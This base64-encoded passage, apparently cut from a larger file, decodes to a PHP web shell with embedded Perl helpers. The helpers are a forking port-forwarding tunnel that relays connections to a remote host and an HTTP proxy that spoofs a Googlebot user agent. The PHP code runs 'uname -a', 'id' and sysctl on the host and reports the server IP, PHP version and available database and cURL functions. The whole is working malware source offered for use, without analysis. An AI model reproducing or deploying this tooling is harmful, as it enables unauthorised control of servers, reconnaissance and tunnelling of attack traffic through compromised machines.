Rzl5ZENjZ1BUNGdKSEJ2Y25Rc0ozUnZhRzl6ZENjZ1BUNGdKR2h2YzNRcE93MEtKR0ZvSUQwZ1NV ODZPbA0KTnZZMnRsZERvNlNVNUZWQzArYm1WM0tDZE1iMk5oYkZCdmNuUW5JRDArSUNSc2IyTmhi SEJ2Y25Rc0oxSmxkWE5sSnlBOVBpQXhMQ2RNYVhOMFpXNG5JRDArSURFd0tTQjhmQ0JrYVdVZ0lp UWhJanNOQw0KaVJUU1VkN0owTklURVFuZlNBOUlDZEpSMDVQVWtVbk93MEtKRzUxYlNBOUlEQTdE UXAzYUdsc1pTQW9NU2tnZXlBTkNpUmphQ0E5SUNSaGFDMCtZV05qWlhCMEtDazdJR2xtSUNnaEpH Tm9LU0I3SUhCeQ0KYVc1MElGTlVSRVZTVWlBaUpDRmNiaUk3SUc1bGVIUTdJSDBOQ2lzckpHNTFi VHNOQ2lSd2FXUWdQU0JtYjNKcktDazdEUXBwWmlBb0lXUmxabWx1WldRb0pIQnBaQ2twSUhzZ2NI SnBiblFnVTFSRVJWSg0KU0lDSWtJVnh1SWpzZ2ZTQU5DbVZzYzJsbUlDZ2tjR2xrSUQwOUlEQXBJ SHNnSkdGb0xUNWpiRzl6WlNncE95QlNkVzRvWENWdkxDQWtZMmdzSUNSdWRXMHBPeUI5SUEwS1pX eHpaU0I3SUNSamFDMCtZMg0KeHZjMlVvS1RzZ2ZRMEtmUTBLYzNWaUlGSjFiaUI3RFFwdGVTZ2ti eXdnSkdOb0xDQWtiblZ0S1NBOUlFQmZPdzBLYlhrZ0pIUm9JRDBnU1U4Nk9sTnZZMnRsZERvNlNV NUZWQzArYm1WM0tDZFFaV1Z5UQ0KV1JrY2ljZ1BUNGdKRzh0UG5zbmRHOW9iM04wSjMwc0oxQmxa WEpRYjNKMEp5QTlQaUFrYnkwK2V5ZDBiM0J2Y25RbmZTazdEUXBwWmlBb0lTUjBhQ2tnZXlCbGVH bDBJREE3SUgwTkNtMTVJQ1JtYURzTg0KQ21sbUlDZ2tieTArZXlka2FYSW5mU2tnZXlBa1ptZ2dQ U0JUZVcxaWIydzZPbWRsYm5ONWJTZ3BPeUJ2Y0dWdUtDUm1hQ3dnSWo0a2J5MCtleWRrYVhJbmZT OTBkVzV1Wld3a2JuVnRMbXh2WnlJcElHOQ0KeUlHUnBaU0FpSkNFaU95QjlEUW9rWTJndFBtRjFk RzltYkhWemFDZ3BPdzBLSkhSb0xUNWhkWFJ2Wm14MWMyZ29LVHNOQ25kb2FXeGxJQ2drWTJnZ2ZI d2dKSFJvS1NCN0RRcHRlU0FrY21sdUlEMGdJaQ0KSTdEUXAyWldNb0pISnBiaXdnWm1sc1pXNXZL Q1JqYUNrc0lERXBJRDBnTVNCcFppQWtZMmc3RFFwMlpXTW9KSEpwYml3Z1ptbHNaVzV2S0NSMGFD a3NJREVwSUQwZ01TQnBaaUFrZEdnN0RRcHRlU2drYw0KbTkxZEN3Z0pHVnZkWFFwT3cwS2MyVnNa V04wS0NSeWIzVjBJRDBnSkhKcGJpd2dkVzVrWldZc0lDUmxiM1YwSUQwZ0pISnBiaXdnTVRJd0tU c05DbWxtSUNnaEpISnZkWFFnSUNZbUlDQWhKR1Z2ZFhRcA0KSUh0OURRcHRlU0FrWTJKMVptWmxj aUE5SUNJaU93MEtiWGtnSkhSaWRXWm1aWElnUFNBaUlqc05DbWxtSUNna1kyZ2dKaVlnS0habFl5 Z2taVzkxZEN3Z1ptbHNaVzV2S0NSamFDa3NJREVwSUh4OElIWg0KbFl5Z2tjbTkxZEN3Z1ptbHNa VzV2S0NSamFDa3NJREVwS1NrZ2V3MEtiWGtnSkhKbGMzVnNkQ0E5SUhONWMzSmxZV1FvSkdOb0xD QWtkR0oxWm1abGNpd2dNVEF5TkNrN0RRcHBaaUFvSVdSbFptbHVaVw0KUW9KSEpsYzNWc2RDa3BJ SHNOQ25CeWFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN0RRcGxlR2wwSURBN0RRcDlEUXBwWmlBb0pI SmxjM1ZzZENBOVBTQXdLU0I3SUdWNGFYUWdNRHNnZlEwS2ZRMEthV1lnSw0KQ1IwYUNBZ0ppWWdJ Q2gyWldNb0pHVnZkWFFzSUdacGJHVnVieWdrZEdncExDQXhLU0FnZkh3Z2RtVmpLQ1J5YjNWMExD Qm1hV3hsYm04b0pIUm9LU3dnTVNrcEtTQjdEUXB0ZVNBa2NtVnpkV3gwSUQwZw0KYzNsemNtVmha Q2drZEdnc0lDUmpZblZtWm1WeUxDQXhNREkwS1RzTkNtbG1JQ2doWkdWbWFXNWxaQ2drY21WemRX eDBLU2tnZXlCd2NtbHVkQ0JUVkVSRlVsSWdJaVFoWEc0aU95QmxlR2wwSURBN0lIMA0KTkNtbG1J Q2drY21WemRXeDBJRDA5SURBcElIdGxlR2wwSURBN2ZRMEtmUTBLYVdZZ0tDUm1hQ0FnSmlZZ0lD UjBZblZtWm1WeUtTQjdLSEJ5YVc1MElDUm1hQ0FrZEdKMVptWmxjaWs3ZlEwS2QyaHBiRw0KVWdL RzE1SUNSc1pXNGdQU0JzWlc1bmRHZ29KSFJpZFdabVpYSXBLU0I3RFFwdGVTQWtjbVZ6SUQwZ2Mz bHpkM0pwZEdVb0pIUm9MQ0FrZEdKMVptWmxjaXdnSkd4bGJpazdEUXBwWmlBb0pISmxjeUErSQ0K REFwSUhza2RHSjFabVpsY2lBOUlITjFZbk4wY2lna2RHSjFabVpsY2l3Z0pISmxjeWs3ZlNBTkNt VnNjMlVnZTNCeWFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN2ZRMEtmUTBLZDJocGJHVWdLRzE1SUNS cw0KWlc0Z1BTQnNaVzVuZEdnb0pHTmlkV1ptWlhJcEtTQjdEUXB0ZVNBa2NtVnpJRDBnYzNsemQz SnBkR1VvSkdOb0xDQWtZMkoxWm1abGNpd2dKR3hsYmlrN0RRcHBaaUFvSkhKbGN5QStJREFwSUhz a1kySg0KMVptWmxjaUE5SUhOMVluTjBjaWdrWTJKMVptWmxjaXdnSkhKbGN5azdmU0FOQ21Wc2My VWdlM0J5YVc1MElGTlVSRVZTVWlBaUpDRmNiaUk3ZlEwS2ZYMTlEUW89IjsNCg0KLyogJiMyMjA7 U1QgU0FUSVJJTiBLSVJJTE1JJiMyMjI7IEhBTCYjMjIxOyAqLw0KLyoNCg0KIyEvdXNyL2Jpbi9w ZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsN CiRob3N0ICAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249 MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFlbW9uKXsgJHBpZCA9IGZvcms7IGV4 aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQo KSBvciBkaWUgIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4g JHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdM b2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBk aWUgIiQhIjsNCiRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkg eyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHByaW50IFNUREVSUiAiJCFcbiI7 IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsg cHJpbnQgU1RERVJSICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgp OyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2xvc2UoKTsgfQ0KfQ0Kc3Vi IFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5F VC0+bmV3KCdQZWVyQWRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0 b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsNCmlmICgkby0+eydkaXIn fSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5u ZWwkbnVtLmxvZyIpIG9yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRv Zmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIiI7DQp2ZWMoJHJpbiwg ZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0g MSBpZiAkdGg7DQpteSgkcm91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYs ICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQpIHt9DQpteSAkY2J1 ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmls ZW5vKCRjaCksIDEpIHx8IHZlYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3Vs dCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZWQoJHJlc3VsdCkp IHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7 IGV4aXQgMDsgfQ0KfQ0KaWYgKCR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAg fHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0gc3lzcmVhZCgk dGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERF UlIgIiQhXG4iOyBleGl0IDA7IH0NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYg KCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbGUgKG15ICRs ZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZl ciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJl cyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRsZW4gPSBs ZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxl bik7DQppZiAoJHJlcyA+IDApIHskY2J1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSAN CmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQoNCg0KKi8NCg0KJHByeF9wbD0iSXlG MWMzSXZZbWx1TDNCbGNtd0tkWE5sSUZOdlkydGxkRHNLYlhrZ0pIQnZjblFnUFNBa1FWSkhWbHN3 WFh4OE16RXpNemM3Q20xNUlDUndjbTkwYjJOdmJDQTlJR2RsZEhCeWIzUnZZbg0KbHVZVzFsS0Nk MFkzQW5LVHNLYlhrZ0pHMTVYMkZrWkhJZ0lEMGdjMjlqYTJGa1pISmZhVzRnS0NSd2IzSjBMQ0JK VGtGRVJGSmZRVTVaS1RzS2MyOWphMlYwSUNoVFQwTkxMQ0JCUmw5SlRrVlVMQ0JUVA0KME5MWDFO VVVrVkJUU3dnSkhCeWIzUnZZMjlzS1NCdmNpQmthV1VnSW5OdlkydGxkQ2dwT2lBa0lTSTdDbk5s ZEhOdlkydHZjSFFnS0ZOUFEwc3NJRk5QVEY5VFQwTkxSVlFzSUZOUFgxSkZWVk5GUVVSRQ0KVWl3 eElDa2diM0lnWkdsbElDSnpaWFJ6YjJOcmIzQjBLQ2s2SUNRaElqc0tZbWx1WkNBb1UwOURTeXdn SkcxNVgyRmtaSElwSUc5eUlHUnBaU0FpWW1sdVpDZ3BPaUFrSVNJN0NteHBjM1JsYmlBb1UwOQ0K RFN5d2dVMDlOUVZoRFQwNU9LU0J2Y2lCa2FXVWdJbXhwYzNSbGJpZ3BPaUFrSVNJN0NpUlRTVWQ3 SjBsT1ZDZDlJRDBnYzNWaUlIc0tZMnh2YzJVZ0tGTlBRMHNwT3dwbGVHbDBPd3A5T3dwM2FHbHNa Uw0KQW9NU2tnZXdwdVpYaDBJSFZ1YkdWemN5QnRlU0FrY21WdGIzUmxYMkZrWkhJZ1BTQmhZMk5s Y0hRZ0tGTkZVMU5KVDA0c0lGTlBRMHNwT3dwdGVTQW9KR1pwYzNRc0lDUnRaWFJvYjJRc0lDUnla VzF2ZA0KR1ZmYUc5emRDd2dKSEpsYlc5MFpWOXdiM0owS1NBOUlHRnVZV3g1ZW1WZmNtVnhkV1Z6 ZENncE93cHBaaWh2Y0dWdVgyTnZibTVsWTNScGIyNGdLRkpGVFU5VVJTd2dKSEpsYlc5MFpWOW9i M04wTENBaw0KY21WdGIzUmxYM0J2Y25RcElEMDlJREFwSUhzS1kyeHZjMlVnS0ZORlUxTkpUMDRw T3dwdVpYaDBPd3A5Q25CeWFXNTBJRkpGVFU5VVJTQWtabWx5YzNRN0NuQnlhVzUwSUZKRlRVOVVS U0FpVlhObGNpMQ0KQloyVnVkRG9nUjI5dloyeGxZbTkwTHpJdU1TQW9LMmgwZEhBNkx5OTNkM2N1 WjI5dloyeGxMbU52YlM5aWIzUXVhSFJ0YkNsY2JpSTdDbmRvYVd4bElDZzhVMFZUVTBsUFRqNHBJ SHNLYm1WNGRDQnBaaQ0KQW9MMUJ5YjNoNUxVTnZibTVsWTNScGIyNDZMeUI4ZkNBdlZYTmxjaTFC WjJWdWREb3ZLVHNLY0hKcGJuUWdVa1ZOVDFSRklDUmZPd3BzWVhOMElHbG1JQ2drWHlBOWZpQXZY bHRjYzF4NE1EQmRLaVF2Sw0KVHNLZlFwd2NtbHVkQ0JTUlUxUFZFVWdJbHh1SWpzS0pHaGxZV1Js Y2lBOUlERTdDbmRvYVd4bElDZzhVa1ZOVDFSRlBpa2dld3B3Y21sdWRDQlRSVk5UU1U5T0lDUmZP d3BwWmlBb0pHaGxZV1JsY2lrZw0KZXlBZ0lDQWdDbWxtSUNna2FHVmhaR1Z5SUNZbUlDUmZJRDEr SUM5ZVcxeHpYSGd3TUYwcUpDOHBJSHNLSkdobFlXUmxjaUE5SURBN0NuMEtmUXA5Q21Oc2IzTmxJ Q2hTUlUxUFZFVXBPd3BqYkc5elpTQQ0Kb1UwVlRVMGxQVGlrN0NuMEtZMnh2YzJVZ0tGTlBRMHNw T3dwemRXSWdZVzVoYkhsNlpWOXlaWEYxWlhOMElIc0tiWGtnS0NSbWFYTjBMQ0FrZFhKc0xDQWtj bVZ0YjNSbFgyaHZjM1FzSUNSeVpXMXZkRw0KVmZjRzl5ZEN3Z0pHMWxkR2h2WkNrN0NpUm1hWEp6 ZENBOUlEeFRSVk5UU1U5T1Bqc0tKSFZ5YkNBOUlDZ2tabWx5YzNRZ1BYNGdiWHdvYUhSMGNEb3ZM MXhUS3lsOEtWc3dYVHNLS0NSdFpYUm9iMlFzSQ0KQ1J5WlcxdmRHVmZhRzl6ZEN3Z0pISmxiVzkw WlY5d2IzSjBLU0E5SUFvb0pHWnBjbk4wSUQxK0lHMGhLRWRGVkNrZ2FIUjBjRG92THloYlhpODZY U3NwT2o4b1hHUXFLU0VnS1RzS2FXWWdLQ0VrY21WdA0KYjNSbFgyaHZjM1FwSUhzS1kyeHZjMlVv VTBWVFUwbFBUaWs3Q21WNGFYUTdDbjBLSkhKbGJXOTBaVjl3YjNKMElEMGdJbWgwZEhBaUlIVnVi R1Z6Y3lBb0pISmxiVzkwWlY5d2IzSjBLVHNLSkdacGNuTg0KMElEMStJSE12YUhSMGNEcGNMMXd2 VzE1Y0wxMHJMeTg3Q25KbGRIVnliaUFvSkdacGNuTjBMQ0FrYldWMGFHOWtMQ0FrY21WdGIzUmxY Mmh2YzNRc0lDUnlaVzF2ZEdWZmNHOXlkQ2s3Q24wS2MzVmlJRw0KOXdaVzVmWTI5dWJtVmpkR2x2 YmlCN0NtMTVJQ2drYUc5emRDd2dKSEJ2Y25RcElEMGdRRjliTVN3eVhUc0tiWGtnS0NSa1pYTjBY MkZrWkhJc0lDUmpkWElwT3dwcFppQW9KSEJ2Y25RZ0lYNGdMMTVjWg0KQ3NrTHlrZ2V3b2tjRzl5 ZENBOUlDaG5aWFJ6WlhKMllubHVZVzFsS0NSd2IzSjBMQ0FpZEdOd0lpa3BXekpkT3dva2NHOXlk Q0E5SURnd0lIVnViR1Z6Y3lBb0pIQnZjblFwT3dwOUNpUm9iM04wSUQwZw0KYVc1bGRGOWhkRzl1 SUNna2FHOXpkQ2tnYjNJZ2NtVjBkWEp1SURBN0NpUmtaWE4wWDJGa1pISWdQU0J6YjJOcllXUmtj bDlwYmlBb0pIQnZjblFzSUNSb2IzTjBLVHNLYzI5amEyVjBJQ2drWDFzd1hTdw0KZ1FVWmZTVTVG VkN3Z1UwOURTMTlUVkZKRlFVMHNJQ1J3Y205MGIyTnZiQ2tnYjNJZ1pHbGxJQ0p6YjJOclpYUW9L U0E2SUNRaElqc0tZMjl1Ym1WamRDQW9KRjliTUYwc0lDUmtaWE4wWDJGa1pISXBJRw0KOXlJSEps ZEhWeWJpQXdPd29rWTNWeUlEMGdjMlZzWldOMEtDUmZXekJkS1RzZ0lBb2tmQ0E5SURFN0NuTmxi R1ZqZENna1kzVnlLVHNLY21WMGRYSnVJREU3Q24wPSI7DQoNCi8qICYjMjIwO1NUIFNBVElSSU4g S0lSSUxNSSYjMjIyOyBIQUwmIzIyMTsgKi8NCi8qDQoNCiMhdXNyL2Jpbi9wZXJsDQp1c2UgU29j a2V0Ow0KbXkgJHBvcnQgPSAkQVJHVlswXXx8MzEzMzc7DQpteSAkcHJvdG9jb2wgPSBnZXRwcm90 b2J5bmFtZSgndGNwJyk7DQpteSAkbXlfYWRkciAgPSBzb2NrYWRkcl9pbiAoJHBvcnQsIElOQURE Ul9BTlkpOw0Kc29ja2V0IChTT0NLLCBBRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvY29sKSBv ciBkaWUgInNvY2tldCgpOiAkISI7DQpzZXRzb2Nrb3B0IChTT0NLLCBTT0xfU09DS0VULCBTT19S RVVTRUFERFIsMSApIG9yIGRpZSAic2V0c29ja29wdCgpOiAkISI7DQpiaW5kIChTT0NLLCAkbXlf YWRkcikgb3IgZGllICJiaW5kKCk6ICQhIjsNCmxpc3RlbiAoU09DSywgU09NQVhDT05OKSBvciBk aWUgImxpc3RlbigpOiAkISI7DQokU0lHeydJTlQnfSA9IHN1YiB7DQpjbG9zZSAoU09DSyk7DQpl eGl0Ow0KfTsNCndoaWxlICgxKSB7DQpuZXh0IHVubGVzcyBteSAkcmVtb3RlX2FkZHIgPSBhY2Nl cHQgKFNFU1NJT04sIFNPQ0spOw0KbXkgKCRmaXN0LCAkbWV0aG9kLCAkcmVtb3RlX2hvc3QsICRy ZW1vdGVfcG9ydCkgPSBhbmFseXplX3JlcXVlc3QoKTsNCmlmKG9wZW5fY29ubmVjdGlvbiAoUkVN T1RFLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCkgPT0gMCkgew0KY2xvc2UgKFNFU1NJT04p Ow0KbmV4dDsNCn0NCnByaW50IFJFTU9URSAkZmlyc3Q7DQpwcmludCBSRU1PVEUgIlVzZXItQWdl bnQ6IEdvb2dsZWJvdC8yLjEgKCtodHRwOi8vd3d3Lmdvb2dsZS5jb20vYm90Lmh0bWwpXG4iOw0K d2hpbGUgKDxTRVNTSU9OPikgew0KbmV4dCBpZiAoL1Byb3h5LUNvbm5lY3Rpb246LyB8fCAvVXNl ci1BZ2VudDovKTsNCnByaW50IFJFTU9URSAkXzsNCmxhc3QgaWYgKCRfID1+IC9eW1xzXHgwMF0q JC8pOw0KfQ0KcHJpbnQgUkVNT1RFICJcbiI7DQokaGVhZGVyID0gMTsNCndoaWxlICg8UkVNT1RF Pikgew0KcHJpbnQgU0VTU0lPTiAkXzsNCmlmICgkaGVhZGVyKSB7ICAgICANCmlmICgkaGVhZGVy ICYmICRfID1+IC9eW1xzXHgwMF0qJC8pIHsNCiRoZWFkZXIgPSAwOw0KfQ0KfQ0KfQ0KY2xvc2Ug KFJFTU9URSk7DQpjbG9zZSAoU0VTU0lPTik7DQp9DQpjbG9zZSAoU09DSyk7DQpzdWIgYW5hbHl6 ZV9yZXF1ZXN0IHsNCm15ICgkZmlzdCwgJHVybCwgJHJlbW90ZV9ob3N0LCAkcmVtb3RlX3BvcnQs ICRtZXRob2QpOw0KJGZpcnN0ID0gPFNFU1NJT04+Ow0KJHVybCA9ICgkZmlyc3QgPX4gbXwoaHR0 cDovL1xTKyl8KVswXTsNCigkbWV0aG9kLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCkgPSAN CigkZmlyc3QgPX4gbSEoR0VUKSBodHRwOi8vKFteLzpdKyk6PyhcZCopISApOw0KaWYgKCEkcmVt b3RlX2hvc3QpIHsNCmNsb3NlKFNFU1NJT04pOw0KZXhpdDsNCn0NCiRyZW1vdGVfcG9ydCA9ICJo dHRwIiB1bmxlc3MgKCRyZW1vdGVfcG9ydCk7DQokZmlyc3QgPX4gcy9odHRwOlwvXC9bXlwvXSsv LzsNCnJldHVybiAoJGZpcnN0LCAkbWV0aG9kLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7 DQp9DQpzdWIgb3Blbl9jb25uZWN0aW9uIHsNCm15ICgkaG9zdCwgJHBvcnQpID0gQF9bMSwyXTsN Cm15ICgkZGVzdF9hZGRyLCAkY3VyKTsNCmlmICgkcG9ydCAhfiAvXlxkKyQvKSB7DQokcG9ydCA9 IChnZXRzZXJ2YnluYW1lKCRwb3J0LCAidGNwIikpWzJdOw0KJHBvcnQgPSA4MCB1bmxlc3MgKCRw b3J0KTsNCn0NCiRob3N0ID0gaW5ldF9hdG9uICgkaG9zdCkgb3IgcmV0dXJuIDA7DQokZGVzdF9h ZGRyID0gc29ja2FkZHJfaW4gKCRwb3J0LCAkaG9zdCk7DQpzb2NrZXQgKCRfWzBdLCBBRl9JTkVU LCBTT0NLX1NUUkVBTSwgJHByb3RvY29sKSBvciBkaWUgInNvY2tldCgpIDogJCEiOw0KY29ubmVj dCAoJF9bMF0sICRkZXN0X2FkZHIpIG9yIHJldHVybiAwOw0KJGN1ciA9IHNlbGVjdCgkX1swXSk7 ICANCiR8ID0gMTsNCnNlbGVjdCgkY3VyKTsNCnJldHVybiAxOw0KfQ0KDQoqLw0KDQoNCmlmKCR1 bml4KQ0Kew0KaWYoIWlzc2V0KCRfQ09PS0lFWyd1bmFtZSddKSkgeyR1bmFtZSA9IGV4KCd1bmFt ZSAtYScpO3NldGNvb2tpZSgndW5hbWUnLCR1bmFtZSk7fWVsc2UgeyR1bmFtZSA9ICRfQ09PS0lF Wyd1bmFtZSddO30NCmlmKCFpc3NldCgkX0NPT0tJRVsnaWQnXSkpIHskaWQgPSBleCgnaWQnKTtz ZXRjb29raWUoJ2lkJywkaWQpO31lbHNlIHskaWQgPSAkX0NPT0tJRVsnaWQnXTt9DQppZigkc2Fm ZV9tb2RlKSB7JHN5c2N0bCA9ICctJzt9DQplbHNlIGlmKGlzc2V0KCRfQ09PS0lFWydzeXNjdGwn XSkpIHskc3lzY3RsID0gJF9DT09LSUVbJ3N5c2N0bCddO30NCmVsc2UgIA0Kew0KJHN5c2N0bCA9 IGV4KCdzeXNjdGwgLW4ga2Vybi5vc3R5cGUgJiYgc3lzY3RsIC1uIGtlcm4ub3NyZWxlYXNlJyk7 DQppZihlbXB0eSgkc3lzY3RsKSkgeyRzeXNjdGwgPSBleCgnc3lzY3RsIC1uIGtlcm5lbC5vc3R5 cGUgJiYgc3lzY3RsIC1uIGtlcm5lbC5vc3JlbGVhc2UnKTt9DQppZihlbXB0eSgkc3lzY3RsKSkg eyRzeXNjdGwgPSAnLSc7fQ0Kc2V0Y29va2llKCdzeXNjdGwnLCRzeXNjdGwpOw0KfQ0KfQ0KZWNo byAkaGVhZDsNCmVjaG8gJzwvaGVhZD4nOw0KDQplY2hvICc8Ym9keSBiZ2NvbG9yPSIjMDAwMDAw IiBURVhUPSIjZmY2NjAwIiA+PHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3Bh Y2luZz0wIGJnY29sb3I9IzAwMDAwMD48dHI+PHRkIGJnY29sb3I9IzAwMDAwMCB3aWR0aD04MD48 Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0yPicud3MoMikuJzxmb250IGZhY2U9V2luZ2RpbmdzIHNp emU9Nj48Yj5OPC9iPjwvZm9udD48Yj4nLiR2ZXJzaW9uLic8L2I+PC9mb250PjwvdGQ+PHRkIGJn Y29sb3I9IzAwMDAwMD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4nOw0KZWNobyB3cygyKS4i PGI+Ii5kYXRlICgiZC1tLVkgSDppOnMiKS4iPC9iPiBZb3VyIElQOiBbPGZvbnQgY29sb3I9Ymx1 ZT4iLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIlJFTU9URV9BRERSIl0pLiI8L2ZvbnQ+XSI7DQpp Zihpc3NldCgkX1NFUlZFUlsnWF9GT1JXQVJERURfRk9SJ10pKXtlY2hvICIgWF9GT1JXQVJERURf Rk9SOiBbPGZvbnQgY29sb3I9cmVkPiIuJF9TRVJWRVJbJ1hfRk9SV0FSREVEX0ZPUiddLiI8L2Zv bnQ+XSI7fQ0KaWYoaXNzZXQoJF9TRVJWRVJbJ0NMSUVOVF9JUCddKSl7ZWNobyAiIENMSUVOVF9J UDogWzxmb250IGNvbG9yPXJlZD4iLiRfU0VSVkVSWydDTElFTlRfSVAnXS4iPC9mb250Pl0iO30N CmVjaG8gIiBTZXJ2ZXIgSVA6IFs8YSBocmVmPWh0dHA6Ly93d3cuaXAtYWRyZXNzLmNvbS9yZXZl cnNlX2lwLyIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pLiIgdGFyZ2V0PWlm cmFtZT48Zm9udCBjb2xvcj1ibHVlPiIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NU Il0pLiI8L2ZvbnQ+PC9hPl0iOw0KZWNobyAiPGJyPiI7DQplY2hvIHdzKDIpLiJQSFAgdmVyc2lv bjogPGI+Ii5AcGhwdmVyc2lvbigpLiI8L2I+IjsNCiRjdXJsX29uID0gQGZ1bmN0aW9uX2V4aXN0 cygnY3VybF92ZXJzaW9uJyk7DQplY2hvIHdzKDIpOw0KZWNobyAiY1VSTDogPGI+Ii4oKCRjdXJs X29uKT8oIjxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4iKTooIjxmb250IGNvbG9yPWdyZWVuPk9G RjwvZm9udD4iKSk7DQplY2hvICI8L2I+Ii53cygyKTsNCmVjaG8gIk15U1FMOiA8Yj4iOw0KJG15 c3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpOw0KaWYoJG15c3FsX29u KXsNCmVjaG8gIjxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4iO31lbHNlIHtlY2hvICI8Zm9udCBj b2xvcj1ncmVlbj5PRkY8L2ZvbnQ+Ijt9DQplY2hvICI8L2I+Ii53cygyKTsNCmVjaG8gIk1TU1FM OiA8Yj4iOw0KJG1zc3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpOw0K aWYoJG1zc3FsX29uKXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+Ijt9ZWxzZXtlY2hv ICI8Zm9udCBjb2xvcj1ncmVlbj5PRkY8L2ZvbnQ+Ijt9DQplY2hvICI8L2I+Ii53cygyKTsNCmVj aG8gIlBvc3RncmVTUUw6IDxiPiI7DQokcGdfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25u ZWN0Jyk7DQppZigkcGdfb24pe2VjaG8gIjxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4iO31lbHNl e2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9GRjwvZm9udD4iO30NCmVjaG8gIjwvYj4iLndzKDIp Ow0KZWNobyAiT3JhY2xlOiA8Yj4iOw0KJG9yYV9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ29jaWxv Z29uJyk7DQppZigkb3JhX29uKXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+Ijt9ZWxz ZXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PRkY8L2ZvbnQ+Ijt9DQplY2hvICI8L2I+PGJyPiIu 